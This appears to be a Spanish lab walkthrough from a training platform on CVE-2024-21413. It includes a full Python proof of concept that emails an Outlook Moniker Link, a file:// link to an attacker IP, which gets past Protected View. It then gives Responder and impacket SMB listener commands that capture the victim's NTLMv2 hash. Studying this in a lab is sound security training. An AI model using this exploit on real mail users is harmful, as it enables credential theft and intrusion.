Para este ataque, mandaremos un email a nuestra víctima con un Moniker Link similar al visto en la lección anterior. El objetivo, como atacante, es hacer un email con un link moniker que bypassee la vista protegida de Outlook. donde el cliente de la víctima intente cargar un archivo de nuestra máquina de atacante, resultando en la captura del hash netNTLMv2.
Pero antes de comenzar, veremos una prueba de concepto.
''' Author: CMNatic | https://github.com/cmnatic Version: 1.0 | 119/02/2024 ''' import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.utils import formataddr sender_email = 'attacker@monikerlink.thm' #Reemplazar con el email del emisor receiver_email = 'victim@monikerlink.thm' #Reemplazar con el email del receptor password = input("Introduce la contraseña del email atacante: ") html_content = """\ <!DOCTYPE html> <html lang="es"> <body> <p>Haz click<a href="file://IP_ATACANTE/test!exploit">aquí</a></p> </body> </html> """ message = MIMEMultipart() message['Subject'] = "CVE-2024-21413" message["From"] = formataddr(('CMNatic', sender_email)) message["To"] = receiver_email #Convierte la string HTML a bytes y lo adjunta al objeto del mensaje msgHtml = MIMEText(html_content, 'html') message.attach(msgHtml) server = smtplib.SMTP('MAILSERVER', 25) server.ehlo() try: server.login(sender_email, password) except Exception as err: print(err) exit(-1) try: server.sendmail(sender_email, [receiver_email], message.as_string()) print("\n Email delivered") except Exception as error: print(error) finally: server.quit()
Lo que hace:
- Coge el email del atacante y de la víctima.
- Pide la contraseña para autentificar.
- Contiene el contenido del email (html_content), que contiene el link moniker.
- Rellena los campos Asunto, De y Para.
- Finalmente manda el email
Vamos a usar Responder para crear un escuchador SMB en nuestra máquina atacante. Para la AttackBox THM, la interfaz será -I ens5. El nombre de la interfaz cambiará si lo hacemos en nuestro propio dispositivo.
Abrimos la máquina virtual vía RDP con las credenciales correspondientes:
xfreerdp3 /u:<usuario> /p:<contraseña> /v:<IP>
Abrimos Outlook en el escritorio remoto. Una vez abierto hacemos click en "No quiero iniciar sesión o crear una cuenta".
En el segundo pop up le damos a la "X" para salir.
En la siguiente ventana veremos la interfaz de Outlook de la víctima, que ya ha sido configurada.
Copiamos y pegamos el código de la PoC (Proof of Concept) en la máquina atacante.
Necesitaremos hacer un par de cambios en el documento antes de ejecutarlo:
- Cambiar la IP del atacante en la linea 12 a nuestra IP atacante.
- Cambiar el placeholder de MAILSERVER en la linea 31 con la IP de la víctima.
Cuando nos pregunten por la contraseña del correo atacante introducimos attacker.
Al hacer esto nos debe llegar un correo con un enlace.
Si en la máquina atacante preparamos un impacket (porque responder no funciona bien en nuestra kali), con: sudo impacket-smbserver test /home/user/smbshare -smb2support -port 1445. Al hacer click en el enlace nos aparecerá el nombre de usuario y el hash de autentificación.
